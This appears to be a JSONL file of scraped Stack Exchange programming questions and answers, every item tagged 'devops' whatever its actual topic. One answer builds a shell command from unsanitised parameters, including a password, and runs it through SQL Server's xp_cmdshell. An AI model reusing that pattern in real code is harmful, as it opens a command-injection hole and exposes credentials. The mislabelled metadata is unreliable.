{"id": "hf_71e9da611c2a", "question": "<p>Is there a way of converting special folder paths to a full file name (and back) or do I need to code my own (not hard I know, but no point if it exists)</p>\n\n<p>e.g. I want to store the file name of a template for an application, which the user can then change, it exists in the LocalApplicationData folder.</p>\n\n<p>what I would like to store is the location of the file in the format:</p>\n\n<p>%LOCALAPPDATA%\\MyApp\\Templates\\Report Template.xls</p>\n\n<p>so that this application file can be used by many users, each user when they open it will get the Report Template from their own local app directory.</p>\n\n<p>I can write</p>\n\n<pre><code>replace(\"%LOCALAPPDATA%\", _\n    System.Environment.GetFolderPath(\n         System.Environment.SpecialFolder.LocalApplicationData))\n\nand vice versa\n</code></pre>\n\n<p>when I come to save the file location, however is there a System.IO (or similar) call to do this for me, rather than having to go through every possible special folder?</p>\n", "question_body": "", "answer": "Look at:\nEnvironment.ExpandEnvironmentVariables\nAfter some looking around I don't think there is a built-in way available to convert it back, though.\nYou can do this though:\n```\n```\nstatic void Main(string[] args)\n{\n    var values = Enum.GetValues(typeof(Environment.SpecialFolder));\n\n    foreach (Environment.SpecialFolder value in values)\n        Console.WriteLine(value + \" : \" + Environment.GetFolderPath(value));\n\n    Console.ReadKey();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.538738"}
{"id": "hf_2525efc34195", "question": "<p>I tried this on J2ME</p>\n\n<pre><code>try {\n    Image immutableThumb = Image.createImage( temp, 0, temp.length);\n} catch (Exception ex) {\n    System.out.println(ex);\n}\n</code></pre>\n\n<p>I hit this error: \n<code>java.lang.IllegalArgumentException:</code></p>\n\n<p>How do I solve this?</p>\n", "question_body": "", "answer": "Image.createImage() throws an IllegalArgumentException if the first argument is incorrectly formatted or otherwise cannot be decoded. (I'm assuming that temp is a byte[]).\nhttp://java.sun.com/javame/reference/apis/jsr118/javax/microedition/lcdui/Image.html#createImage(byte[],%20int,%20int)\n(This URL refuses to become a hyperlink for some reason (?))", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.563557"}
{"id": "hf_c3c1afbee682", "question": "<p>I have a binded DataGridView where depending on some BoundItem property value that line will be read only. What is the best way to implement this?\nThanks</p>\n", "question_body": "", "answer": "in the rowenter event, set the readonly property of the row accordingly\n```\n```\nprivate sub MyView_RowEnter(...) handles MyView.RowEnter\n    MyView.Rows(e.Rowindex).ReadOnly = (condition)\nend sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.587202"}
{"id": "hf_6591f6938f6b", "question": "<p>I'm <em>considering</em> migrating my c# application from using custom GDI+ drawn controls to a WPF application with custom controls etc. I would like to know what's involved and what to expect.</p>\n\n<p>Are there any resources people can recommend that might help? Or indeed any personal experiences that might be beneficial?</p>\n", "question_body": "", "answer": "This is actually a project i am working on at the moment although I have been lucky enough to be able to start again. If you can do this I would strongly recommend it, obviously keeping the core functionality of the old system/controls but start afresh. It is always nice to start from a base and to know where things went wrong/right previously.\nPersonally i have found the\nmsdn website\nextremely useful, if not stackoverflow is a very good place for knowledge. I would be happy to give pointers if you need any.\nAlso if you ever have any questions about databinding this is the place to go:\nbea costa\nshe has covered most stuff there.\nOn an extra note we have experienced a huge improvement in performance with using wpf over GDI.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.610901"}
{"id": "hf_daf9a361077a", "question": "<p><a href=\"http://dl.getdropbox.com/u/240752/stars.gif\" rel=\"nofollow noreferrer\">My screenshot http://dl.getdropbox.com/u/240752/stars.gif</a></p>\n\n<p>I want to have it so that only the text is underlined. The only way I can see of doing this is this:</p>\n\n<pre><code>.no-underline {\n   text-decoration:none;\n}\n.underline {\n  text-decoration:underline;\n}\n\n&lt;a href=\"#\" class=\"no-underline\"&gt;&lt;span class=\"underline\"&gt;Average customer review rating&lt;/span&gt;&lt;img src=\"img/five-stars.gif\" alt=\"five stars\" width=\"78\" height=\"16\" title=\"5 star review rating\" /&gt;&lt;/a&gt;\n</code></pre>\n\n<p>Is this the best way? or does someone know a leaner way? Thanks.</p>\n", "question_body": "", "answer": "No other solution really. Though you can shorten it a little:\n```\n```\n<a href=\"#\" class=\"imgLink\"><span>Link Text</span> <img src=\"...\"></a>\n\na.imgLink { text-decoration: none; }\na.imgLink span { text-decoration: underline; }\n```\n```\nThat way you only need to specify one class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.635820"}
{"id": "hf_c636d4b48f50", "question": "<p>I am currently working in C/C++ in a Unix environment and am new to Linux environments. I would like to learn about the Linux OS and learn C# as the next level of programming language for my career.</p>\n\n<p>I decided to put Ubuntu Linux on my laptop. But I am not sure whether we can write, compile and run C# programs in Linux environments or not.</p>\n\n<p>The only IDE I know for C# is MS Visual Studio. Is there are any possible way to work in C# in a Linux environment?</p>\n\n<p>If I have no other option, I'll have both operating systems on my laptop - Vista to learn C# and Linux for the other OS.</p>\n", "question_body": "", "answer": "Learn\nMono\n.\nThe Mono Project is an open\n  development initiative sponsored by\n  Novell to develop an open source, UNIX\n  version of the Microsoft .NET\n  development platform. Its objective is\n  to enable UNIX developers to build and\n  deploy cross-platform .NET\n  Applications. The project implements\n  various technologies developed by\n  Microsoft that have now been submitted\n  to the ECMA for standardization.\nYou can use the\nMonoDevelop\nIDE.\nMonoDevelop is a free GNOME IDE\n  primarily designed for C# and other\n  .NET languages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.659717"}
{"id": "hf_7df86fb79943", "question": "<p>Is there any way to (unit) test my own HtmlHelpers? In case when I'd like to have custom control (rendered by HtmlHelper) and I know requierements for that control how could I write tests first - and then write code? Is there a specific (nice) way to do that? </p>\n\n<p>Is it worth?</p>\n", "question_body": "", "answer": "The main problem is that you have to mock the HtmlHelper because you may be using methods of the helper to get routes or values or returning the result of another extension method. The HtmlHelper class has quite a lot of properties and some of them quite complex like the ViewContext or the current Controller.\nThis post from Ben Hart\nthat explains how to create such a mock with Moq. Can be easily translated to another mock framework.\nThis is my Rhino Mocks version adapted to the changes in the MVC Framework. It's not fully tested but it's working for me but don't expect perfect results:\n```\n```\npublic static HtmlHelper CreateHtmlHelper(ViewDataDictionary viewData)\n    {\n        var mocks = new MockRepository();\n\n        var cc = mocks.DynamicMock<ControllerContext>(\n            mocks.DynamicMock<HttpContextBase>(),\n            new RouteData(),\n            mocks.DynamicMock<ControllerBase>());\n\n        var mockViewContext = mocks.DynamicMock<ViewContext>(\n            cc,\n            mocks.DynamicMock<IView>(),\n            viewData,\n            new TempDataDictionary());\n\n        var mockViewDataContainer = mocks.DynamicMock<IViewDataContainer>();\n\n        mockViewDataContainer.Expect(v => v.ViewData).Return(viewData);\n\n        return new HtmlHelper(mockViewContext, mockViewDataContainer);\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.684857"}
{"id": "hf_eb1e55eba569", "question": "<p>I basically have a page which shows a \"processing\" screen which has been flushed to the browser.  Later on I need to redirect this page, currently we use meta refresh and this normally works fine.  </p>\n\n<p>With a new payment system, which includes 3D secure, we potentially end up within an iframe being directed back to our site from a third party.</p>\n\n<p>I need to be able to redirect from this page, either using javascript or meta-refresh, and bust out of the iframe if it exists.</p>\n\n<p>Cheers!</p>\n\n<p>(I have done busting out of iframes before but can't find my old code and a google search was useless, thought it was the perfect time to try Stackoverflow out!)</p>\n", "question_body": "", "answer": "So I added the following to my redirected pages.  Luckily they have nothing posted at them so can be simply redirected.  Also the use of javascript is ok as it is required to get to that point in the site.\n```\n```\n<script type=\"text/javascript\" language=\"javascript\">\n    if (top.frames.length>0)\n    setTimeout(\"top.location = window.location;\",100);\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.722223"}
{"id": "hf_6ec232ecee97", "question": "<p>The code looks like below:</p>\n\n<pre><code>namespace Test\n{\n    public interface IMyClass\n    {\n        List&lt;IMyClass&gt; GetList();\n    }\n\n    public class MyClass : IMyClass\n    {\n        public List&lt;IMyClass&gt; GetList()\n        {\n            return new List&lt;IMyClass&gt;();\n        }\n    }\n}\n</code></pre>\n\n<p>When I Run Code Analysis i get the following recommendation.</p>\n\n<blockquote>\n  <p>Warning    3   CA1002 : Microsoft.Design : Change 'List' in 'IMyClass.GetList()' to use Collection, ReadOnlyCollection or KeyedCollection</p>\n</blockquote>\n\n<p>How should I fix this and what is good practice here?</p>\n", "question_body": "", "answer": "I would personally declare it to return an interface rather than a concrete collection. If you really want list access, use\n```\nIList<T>\n```\n. Otherwise, consider\n```\nICollection<T>\n```\nand\n```\nIEnumerable<T>\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.745946"}
{"id": "hf_2748f454cf7e", "question": "<p>I'm working on a search module that searches in text columns that contains html code. The queries are constructed like: WHERE htmlcolumn LIKE '% searchterm %';</p>\n\n<p>Default the modules searches with spaces at both end of the searchterms, with wildcards at the beginning and/or the end of the searchterms these spaces are removed (*searchterm -> LIKE '%searchterm %'; Also i've added the possibility to exclude results with certain words (-searchterm -> NOT LIKE '% searchterm %'). So far so good.</p>\n\n<p>The problem is that words that that are preceded by an html-tag are not found (<code>&lt;br/&gt;</code>searchterm is not found when searching on LIKE '% searchterm.., also words that come after a comma or end with a period etc.). \nWhat i would like to do is search for words that are not preceded or followed by the characters A-Z and a-z. Every other characters are ok.</p>\n\n<p>Any ideas how i should achieve this? Thanks!</p>\n", "question_body": "", "answer": "You could use a regular expression:\nhttp://dev.mysql.com/doc/refman/5.0/en/regexp.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.804436"}
{"id": "hf_7babbf6bad24", "question": "<p>I run a website where users can post items (e.g. pictures). The items are stored in a MySQL database. </p>\n\n<p>I want to query for the last ten posted items BUT with the constraint of a maximum of 3 items can come from any single user. </p>\n\n<p>What is the best way of doing it? My preferred solution is a constraint that is put on the SQL query requesting the last ten items. But ideas on how to set up the database design is very welcome.</p>\n\n<p>Thanks in advance!</p>\n\n<p>BR</p>\n", "question_body": "", "answer": "This is difficult because MySQL does not support the LIMIT clause on sub-queries. If it did, this would be rather trivial... But alas, here is my naïve approach:\n```\n```\nSELECT\n  i.UserId,\n  i.ImageId\nFROM\n  UserSuppliedImages i\nWHERE\n  /* second valid ImageId */\n  ImageId = (\n    SELECT MAX(ImageId)\n    FROM UserSuppliedImages\n    WHERE UserId = i.UserId\n  )\n  OR\n  /* second valid ImageId */\n  ImageId = (\n    SELECT MAX(ImageId)\n    FROM   UserSuppliedImages\n    WHERE UserId = i.UserId\n      AND ImageId < (\n        SELECT MAX(ImageId)\n        FROM UserSuppliedImages\n        WHERE UserId = i.UserId\n      )\n    )\n  /* you get the picture... \n     the more \"per user\" images you want, the more complex this will get */\nLIMIT 10;\n```\n```\nYou did not comment on having a preferred result order, so this selects the latest images (assuming\n```\nImageId\n```\nis an ascending auto-incrementing value).\nFor comparison, on SQL Server the same would look like this:\n```\n```\nSELECT TOP 10\n  img.ImageId,\n  img.ImagePath,\n  img.UserId\nFROM\n  UserSuppliedImages img\nWHERE\n  ImageId IN (\n    SELECT TOP 3 ImageId\n    FROM UserSuppliedImages \n    WHERE UserId = img.UserId\n  )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.827814"}
{"id": "hf_af3281a24ba7", "question": "<p>Given a html document, what is the most correct and concise regular expression pattern to remove the query strings from each url in the document?</p>\n", "question_body": "", "answer": "You can't usefully parse HTML with a regexp. If you know the format of the page in advance — eg.\nlinks are always in the form < a href=\"url with no unnecessary character escapes\">, or\nall links are absolute, and no other non-link strings beginning with http: exist\nthen you can just about get away with it, but for general [X]HTML a regexp parser is unsuitable.\nDepending on what language you're using, you'd need to find either an HTML parser library (eg. Python's BeautifulSoup), or an HTML tidier combined with a standard XML parser, then scan the document for < a> elements (and maybe others, eg. < img> if you're interested in those?), then split the attribute value on ‘?’.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.851190"}
{"id": "hf_5c9311aadaee", "question": "<p>I'm trying to parse a html page and extract 2 values from a table row.\nThe html for the table row is as follows: -</p>\n\n<pre><code>&lt;tr&gt;\n&lt;td title=\"Associated temperature in (ºC)\" class=\"TABLEDATACELL\" nowrap=\"nowrap\" align=\"Left\" colspan=\"1\" rowspan=\"1\"&gt;Max Temperature (ºC)&lt;/td&gt;\n&lt;td class=\"TABLEDATACELLNOTT\" nowrap=\"nowrap\" align=\"Center\" colspan=\"1\" rowspan=\"1\"&gt;6&lt;/td&gt;\n&lt;td class=\"TABLEDATACELLNOTT\" nowrap=\"nowrap\" align=\"Center\" colspan=\"1\" rowspan=\"1\"&gt; 13:41:30&lt;/td&gt;\n&lt;/tr&gt;\n</code></pre>\n\n<p>and the expression I have at the moment is:</p>\n\n<pre><code>&lt;tr&gt;[\\s]&lt;td[^&lt;]+?&gt;Max Temperature[\\w\\s]*&lt;/td&gt;[\\s]\n&lt;td[^&lt;]+?&gt;(?&lt;value&gt;([\\d]+))&lt;/td&gt;[\\s]\n&lt;td[^&lt;]+?&gt;(?&lt;time&gt;([\\d\\:]+))&lt;/td&gt;[\\s]&lt;/tr&gt;\n</code></pre>\n\n<p>However I don't seem to be able to extract any matches. \nCould anyone point me in the right direction, thanks.</p>\n", "question_body": "", "answer": "When you write\n```\n<td[^<]+?>\n```\nI guess you really mean\n```\n<td[^>]*>\n```\nThat is \"opening brace, td, maybe stuff other than\nclosing\nbrace...\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.875962"}
{"id": "hf_0ea397b0dd17", "question": "<p>What's the difference between <code>&lt;b&gt;</code> and <code>&lt;strong&gt;</code>, <code>&lt;i&gt;</code> and <code>&lt;em&gt;</code> in HTML/XHTML? When should you use each?</p>\n", "question_body": "", "answer": "```\n<b>\n```\nand\n```\n<i>\n```\nare explicit - they specify bold and italic respectively.\n```\n<strong>\n```\nand\n```\n<em>\n```\nare semantic - they specify that the enclosed text should be \"strong\" or \"emphasised\" in some way, usually bold and italic, but allow for the actual styling to be controlled via CSS.  Hence these are preferred in modern web pages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.916071"}
{"id": "hf_c35c320b5a22", "question": "<p>I'd like to send mail without bothering with the SMTP-Server which is used for delivery.</p>\n\n<p>So <a href=\"http://java.sun.com/products/javamail/\" rel=\"noreferrer\">JavaMail API</a> doesn't work for me because I have to specify a SMTP server to connect to.</p>\n\n<p>I'd like the library to find out on its own which SMTP server is responsible for which email address by querying the MX record of the mail address domain.</p>\n\n<p>I'm looking for something like <a href=\"https://aspirin.dev.java.net/\" rel=\"noreferrer\">Aspirin</a>. Unfortunately I can't use Aspirin itself because the development stopped 2004 and the library fails to communicate with modern spam hardened servers correctly.</p>\n\n<p>An embeddable version of <a href=\"http://james.apache.org/\" rel=\"noreferrer\">James</a> would do the task. But I haven't found documentation concerning whether this is possible.</p>\n\n<p>Or does anyone know about other libraries I could use?</p>\n", "question_body": "", "answer": "One possible solution: get the MX record on your own and use\nJavaMail API\n.\nYou can get the MX record using the\ndnsjava\nproject:\nMaven2 dependency:\n```\n```\n<dependency>\n    <groupId>dnsjava</groupId>\n    <artifactId>dnsjava</artifactId>\n    <version>2.0.1</version>\n</dependency>\n```\n```\nMethod for MX record retrieval:\n```\n```\npublic static String getMXRecordsForEmailAddress(String eMailAddress) {\n    String returnValue = null;\n\n    try {\n        String hostName = getHostNameFromEmailAddress(eMailAddress);\n        Record[] records = new Lookup(hostName, Type.MX).run();\n        if (records == null) { throw new RuntimeException(\"No MX records found for domain \" + hostName + \".\"); }\n\n        if (log.isTraceEnabled()) {\n            // log found entries for debugging purposes\n            for (int i = 0; i < records.length; i++) {\n                MXRecord mx = (MXRecord) records[i];\n                String targetString = mx.getTarget().toString();\n                log.trace(\"MX-Record for '\" + hostName + \"':\" + targetString);\n            }\n        }\n\n        // return first entry (not the best solution)\n        if (records.length > 0) {\n            MXRecord mx = (MXRecord) records[0];\n            returnValue = mx.getTarget().toString();\n        }\n    } catch (TextParseException e) {\n        throw new RuntimeException(e);\n    }\n\n    if (log.isTraceEnabled()) {\n        log.trace(\"Using: \" + returnValue);\n    }\n    return returnValue;\n}\n\nprivate static String getHostNameFromEmailAddress(String mailAddress) throws TextParseException {\n    String parts[] = mailAddress.split(\"@\");\n    if (parts.length != 2) throw new TextParseException(\"Cannot parse E-Mail-Address: '\" + mailAddress + \"'\");\n    return parts[1];\n}\n```\n```\nSending mail via JavaMail code:\n```\n```\npublic static void sendMail(String toAddress, String fromAddress, String subject, String body) throws AddressException, MessagingException {\n    String smtpServer = getMXRecordsForEmailAddress(toAddress);\n\n    // create session\n    Properties props = new Properties();\n    props.put(\"mail.smtp.host\", smtpServer);\n    Session session = Session.getDefaultInstance(props);\n\n    // create message\n    Message msg = new MimeMessage(session);\n    msg.setFrom(new InternetAddress(fromAddress));\n    msg.setRecipient(Message.RecipientType.TO, new InternetAddress(toAddress));\n    msg.setSubject(subject);\n    msg.setText(body);\n\n    // send message\n    Transport.send(msg);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.940192"}
{"id": "hf_4697ff730c39", "question": "<p>Can someone supply me with a regex to match a search term that is not preceded or followed by <code>[a-z]</code> and <code>[A-Z]</code>? (Other characters are OK.) I.e., when searching for <code>key</code>, I don't want <code>keyboard</code> in my search results, but <code>key.</code> is okay.</p>\n", "question_body": "", "answer": "If you're using Perl, what you need is\n```\n\\b\n```\n, aka \"word boundary\":\n```\n```\nm/\\bkey\\b/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.965279"}
{"id": "hf_e1bc6561ddb8", "question": "<p>When writing unit tests, do you place your tests inside the assembly you wish to test or in a separate test assembly? I have written an application with the tests in classes in a separate assembly for ease of deloyment as I can just exclude the assembly. Does anyone write there tests within the assembly you wish to test and if so what is the justification for it? </p>\n", "question_body": "", "answer": "I have a single solution with an interface project, a tests project, a domain project and a data project. When i release i just publish the interface, which doesnt reference Tests so it doesnt get compiled in.\nEdit: The bottom line is really that you dont want it to be part of your final release. You can achieve this automatically in VS by using a separate project/assembly. However you can have it in the same assembly, but then just not compile that code if you're using nant or msbuild. Bit messy though, keep things tidy, use a separate assembly :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.025829"}
{"id": "hf_c516f70bb488", "question": "<p>I have a &lt;select&gt;. Using JavaScript, I need to get a specific &lt;option&gt; from the list of options, and all I know is the value of the option.  The option may or may not be selected.</p>\n\n<p>Here's the catch: there are thousands of options and I need to do this a few hundred times in a loop. Right now I loop through the \"options\" array and look for the option I want. This is too slow (in the sense that on my very fast machine the browser locked up until I killed it after a few minutes).</p>\n\n<p>Is there any faster way to do this? I'll take browser-specific ways, but of course a DOM-standard way would be nice.</p>\n", "question_body": "", "answer": "With jQuery something like this could be faster:\n```\n```\n$(\"#idselect option[value='yourval']\")\n```\n```\nhttp://docs.jquery.com/Selectors/attributeEquals#attributevalue", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.216257"}
{"id": "hf_633bfb3dc5cb", "question": "<p>Got into a situation where in a schema i have a table, say table ACTION , while i got a synonym called ACTION as well which refers to another table to another schema.</p>\n\n<p>Now, when i run the query</p>\n\n<p>select * from ACTION</p>\n\n<p>it will select the records from the table, but not the synonym.</p>\n\n<p>Anyway for me to select from the synonym AND the table both together?</p>\n\n<p>Thanx</p>\n", "question_body": "", "answer": "Well, your underlying ACTION table should be renamed, let's say do LOCAL_ACTION.\nLet's pretend your ACTION synonym is on otheruser.LOCAL_ACTION table...\nThen you can redefine the ACTION synonym to be:\n```\n```\nSELECT * from LOCAL_ACTION\nUNION\nSELECT * from otheruser.LOCAL_ACTION\n```\n```\nThen in the end, select * from ACTION will give you a combined list of both tables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.339143"}
{"id": "hf_bb7da8645617", "question": "<p>Is there a function in glut which moves the mouse to a specific position?\nThere is a similar function in SDL (SDL_WarpMouse) but I want to stick to glut.</p>\n", "question_body": "", "answer": "I've just found it, you just have to ask the right question and google helps :D\nIts\n```\nglutWarpPointer(middleX, middleY)\n```\n;", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.386945"}
{"id": "hf_1c9be3bb6007", "question": "<p>I need to pull some BLOB data from a SQL Server 2005 database and generate a SQL script to insert this same data in another database, in another server.</p>\n\n<p>I am only allowed to do this using SQL scripts, I can't use any other utility or write a program in Java or .NET to do it.</p>\n\n<p>The other big restriction I have is that I don't have access to the original database (where the original BLOB data is) when I run the script, to copy the BLOB data to the target database, so the data should already be encoded within the SQL script file.</p>\n\n<p>Summing up: is there a way to encode the BLOB data into text so that I can dump it into a SQL INSERT command within a script text file and run it?</p>\n\n<p>I am able to run special T-SQL statements and stored procedures if needed to.</p>\n", "question_body": "", "answer": "This article \"\nCopy Text or Image into or out of SQL Server\n\" could help:\nYou could integrate the TEXTCOPY command line tool in a stored procedure:\n```\n```\nCREATE PROCEDURE sp_textcopy (\n  @srvname     varchar (30),\n  @login       varchar (30),\n  @password    varchar (30),\n  @dbname      varchar (30),\n  @tbname      varchar (30),\n  @colname     varchar (30),\n  @filename    varchar (30),\n  @whereclause varchar (40),\n  @direction   char(1))\n\nAS\n\nDECLARE @exec_str varchar (255)\nSELECT @exec_str =\n         'textcopy /S ' + @srvname +\n         ' /U ' + @login +\n         ' /P ' + @password +\n         ' /D ' + @dbname +\n         ' /T ' + @tbname +\n         ' /C ' + @colname +\n         ' /W \"' + @whereclause +\n         '\" /F ' + @filename +\n         ' /' + @direction\nEXEC master..xp_cmdshell @exec_str\n```\n```\nYou'll have to change/extend it a little in order to read the created file into the other database.\nAs\nVinko\nwrites in the comment to this answer, hold in mind that this requires enabling xp_cmdshell in the surface area configuration.\nDescription of TEXTCOPY:\nCopies a single text or image value into or out of SQL Server. The value\nis a specified text or image 'column' of a single row (specified by the\n\"where clause\") of the specified 'table'.\nIf the direction is IN (/I) then the data from the specified 'file' is\ncopied into SQL Server, replacing the existing text or image value. If the\ndirection is OUT (/O) then the text or image value is copied from\nSQL Server into the specified 'file', replacing any existing file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.461534"}
{"id": "hf_72ef969b635f", "question": "<p>Why is it called a single in VB.net?  I'm sure there is a good reason but it doesn't seem intuitive to a non formally trained programmer like me.</p>\n", "question_body": "", "answer": "I think it is a\n```\nshorthand\n```\nfor\n```\n\"Single-precision\"\n```\n```\nDouble\n```\nis \"\n```\nDouble-precision\"\n```\nWhile\n```\nC-style int\n```\nand\n```\nfloat\n```\nwas probably referring to\n```\n\"integer\"\n```\nand\n```\n\"floating point\"\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.557533"}
{"id": "hf_34ee60ef96f9", "question": "<p>I have a form that displays file information in a TabControl, and I'd like the pages to have the file's icon in their tab.  How do I get the icon associated with a file type?</p>\n\n<p>I'd prefer solutions that don't involve looking things up in the registry, but if that's the only way then so be it.</p>\n", "question_body": "", "answer": "CodeProject\nhas some classes you can download.\nFirst get the\n```\nFileAssociationInfo\n```\n, and from that get the\n```\nProgramAssociationInfo\n```\n.  The\n```\npai\n```\nobject can give you the icon.\n```\n```\nFileAssociationInfo fai = new FileAssociationInfo(\".bob\");\nProgramAssociationInfo pai = new ProgramAssociationInfo(fai.ProgID);\nProgramIcon icon = pai.DefaultIcon;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.603960"}
{"id": "hf_618c6ecd2e10", "question": "<p>I've accidentally removed Win2K compatibility from an application by using <a href=\"http://msdn.microsoft.com/en-us/library/ms683215(VS.85).aspx\" rel=\"nofollow noreferrer\">GetProcessID</a>.</p>\n\n<p>I use it like this, to get the main HWND for the launched application.</p>\n\n<pre><code>ShellExecuteEx(&amp;info); // Launch application\nHANDLE han = info.hProcess; // Get process\n\ncbinfo.han = han;\n\n//Call EnumWindows to enumerate windows....\n//with this as the callback\n\nstatic BOOL CALLBACK enumproc(HWND hwnd, LPARAM lParam)\n{\n  DWORD id;\n  GetWIndowThreadProcessID(hwnd, &amp;id);\n  if (id == GetProcessID(cbinfo.han))\n    setResult(hwnd)\n ...\n}\n</code></pre>\n\n<p>Any ideas how the same function could be acheived on Win2K?</p>\n", "question_body": "", "answer": "There is an 'sort-of-unsupported' function: ZwQueryInformationProcess(): see\nhttp://msdn.microsoft.com/en-us/library/ms687420.aspx\nThis will give you the process id (amongst other things), given the handle. This isn't guaranteed to work with future Windows versions, so I'd suggest having a helper function that tests the OS version and then uses GetProcAddress() to call either GetProcessId() for XP and above, and ZwQueryInformationProcess() for Win2K only.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.631330"}
